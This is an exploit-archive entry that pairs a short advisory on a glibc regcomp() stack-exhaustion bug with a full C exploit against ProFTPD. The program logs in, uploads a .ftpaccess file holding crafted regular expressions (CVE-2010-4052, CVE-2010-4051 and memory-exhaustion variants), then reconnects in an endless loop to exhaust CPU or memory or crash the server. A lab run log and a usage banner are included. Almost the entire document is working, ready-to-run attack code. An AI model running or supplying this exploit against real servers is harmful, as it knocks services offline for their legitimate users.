GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service

// source: https://www.securityfocus.com/bid/45233/info

GNU glibc is prone to a denial-of-service vulnerability due to stack exhaustion.

Successful exploits will allow attackers to make the affected computer unresponsive, denying service to legitimate users.

This issue affects unknown versions of the glibc library. This BID will be updated when more details become available. 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* 

proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))
by Maksymilian Arciemowicz

References:
http://www.kb.cert.org/vuls/id/912279
http://cxib.net/
http://securityreason.com/

Tested: 
Ubuntu + proftpd

This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux

172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)

PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1

Try create .ftpaccess with HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .

send: USER cx
PASS password

send: stat .

Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused

Resume: 
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.


If we try

./reg1 172.16.124.134 21 cx password 172.16.124.1 3

any proftpd children will generate memory exhausion

Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})

*/


char expl0[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$\"";  //CVE-2010-4052 Long execution
char expl1[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}{10,}))$\""; //CVE-2010-4051 Crash
char expl2[]="HideFiles \"(.*+++++++++++++++++++++++++++++(\\w+))\""; // memory exhausion
char expl3[]="HideFiles \"(.*++++++++++++++++++++++++++++++(\\w+))\""; // if virtual memory limited, crash

int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can't send %s\n",what);
        else
                printf("send: %s\n",what);

        bzero(what,sizeof(what));
}

void readftp(int stream,int flag){
	if(flag==1) flag=MSG_DONTWAIT;
	else flag=0;
        char *readline=malloc(sizeof(char)*(4096+1));
	memset(readline,'\x00',(4096+1));
        if(recv(stream,readline,4096,flag)<1){
                printf("Can't read from stream\n");
		if(readline) free(readline);
		close(stream);
		exit(1);
	}
	else{
		if(readline)
			write(1, readline, strlen(readline));
		fflush(stdout);
	}
	free(readline);
}


int attack(host,port,login,pass)
char *host,*port,*login,*pass;
{
	char buffer[1024]; // send ftp command buffor
	int sockfd,n,error;
	struct addrinfo hints;
	struct addrinfo *res, *res0;

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = PF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	error = getaddrinfo(host,port,&hints,&res0);

	if (error){
		errorcon:
		printf("Can`t connect\n.exit");
		exit(1);
	}

	if((sockfd=socket(res0->ai_family,res0->ai_socktype,res0->ai_protocol))<0) goto errorcon;
	if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

	snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
	sendftp(sockfd,buffer);

	bzero(buffer,1024);
	snprintf(buffer,1024,"STAT .\n");
	sendftp(sockfd,buffer);
	
	freeaddrinfo(res0);
	close(sockfd);
}

void exploreip(char *ip, int (*ipnum)[4]){
	char *wsk;
	
	wsk=(char *)strtok(ip,".");
	(*ipnum)[0]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[1]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[2]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[3]=atoi(wsk);
}


int createexpl(host,port,login,pass,lip,pattern)
        char *host,*port,*login,*pass,*lip,*pattern;
{
        char buffer[1024]; // send ftp command buffor
        int ipnum[4];

        int sockfd,n,error,sendstream,binarystream,sendport = (1024 + getpid());

	struct addrinfo hints;
	struct addrinfo *res, *res0;
	struct sockaddr_in remo, loca;

	int len = sizeof(remo);
	
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);

        if (error){
                errorcon:
		
		if(sendstream) close(sendstream);
		printf("Can`t connect\n.exit");
                exit(1);
        }

        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0)     goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

        readftp(sockfd,1024);
        snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd,1024);
	readftp(sockfd,1024);

	exploreip(lip,&ipnum);
        snprintf(buffer,1024,"TYPE I\nPORT %d,%d,%d,%d,%d,%d\n",ipnum[0],ipnum[1],ipnum[2],ipnum[3],sendport/256,sendport%256);
        sendftp(sockfd,buffer);
        readftp(sockfd,1024);
	
	bzero(&loca, sizeof(loca));
	loca.sin_family = AF_INET;
	loca.sin_port=htons(sendport);
	loca.sin_addr.s_addr = htonl(INADDR_ANY);

	if((sendstream=socket(AF_INET, SOCK_STREAM,0))<0) goto errorcon;
	if((bind(sendstream, (struct sockaddr *) &loca, sizeof(loca)))<0) goto errorcon;
	if(listen(sendstream, 10) < 0) goto errorcon;

	snprintf(buffer,1024,"STOR .ftpaccess\n");
        sendftp(sockfd,buffer);
	
        readftp(sockfd,1024);

	if((binarystream=accept(sendstream,(struct sockaddr *)&remo,&len)) < 0) goto errorcon;
	write(binarystream,pattern,strlen(pattern));
	
	freeaddrinfo(res0);
	close(sendstream);
	printf("Created .ftpaccess file with %s\nIt`s time to attack...\n",pattern);
	sleep(3);
	
	return 0;
}

void usage(){
	printf("Use: ./exploit target_ip port username password [your_ip] [option]\n\nCreate .ftpaccess with selected attack\noptions:\n1 - Long execution CVE-2010-4052\n2 - Recursion Crash CVE-2010-4051\n3 - Memory exhausion \n4 - Crash if virtual memory limited\n\n");
	exit(1);
}

int main(int argc,char *argv[])
{

        char *login,*pass,*lip=NULL;
        char logindef[]="anonymous",passdef[]="cx@127.0.0.1";

        printf("This is exploit for ERE (GNU libc)\nby Maksymilian Arciemowicz\n\n");

        if(argc<3) usage();

        char *host=argv[1];
        char *port=argv[2];

        if(4<=argc) login=argv[3];
        else login=logindef;

        if(5<=argc) pass=argv[4];
        else pass=passdef;

	if(6<=argc) lip=argv[5];
	
	if(7<=argc) switch(atoi(argv[6])){
		case 1:
			printf("Try create .ftpaccess with %s\n\n",expl0); 
			createexpl(host,port,login,pass,lip,expl0);
		break;
		
		case 2:
			printf("Try create .ftpaccess with %s\n\n",expl1);
			createexpl(host,port,login,pass,lip,expl1);
		break;
		
		case 3:
			printf("Try create .ftpaccess with %s\n\n",expl2);
			createexpl(host,port,login,pass,lip,expl2);
		break;
		
		case 4:
			printf("Try create .ftpaccess with %s\n\n",expl3);
			createexpl(host,port,login,pass,lip,expl3);
		break;
		
		default:
			usage();
		break;
	};

	while(1) attack(host,port,login,pass);
	
        return 0; // never happen
}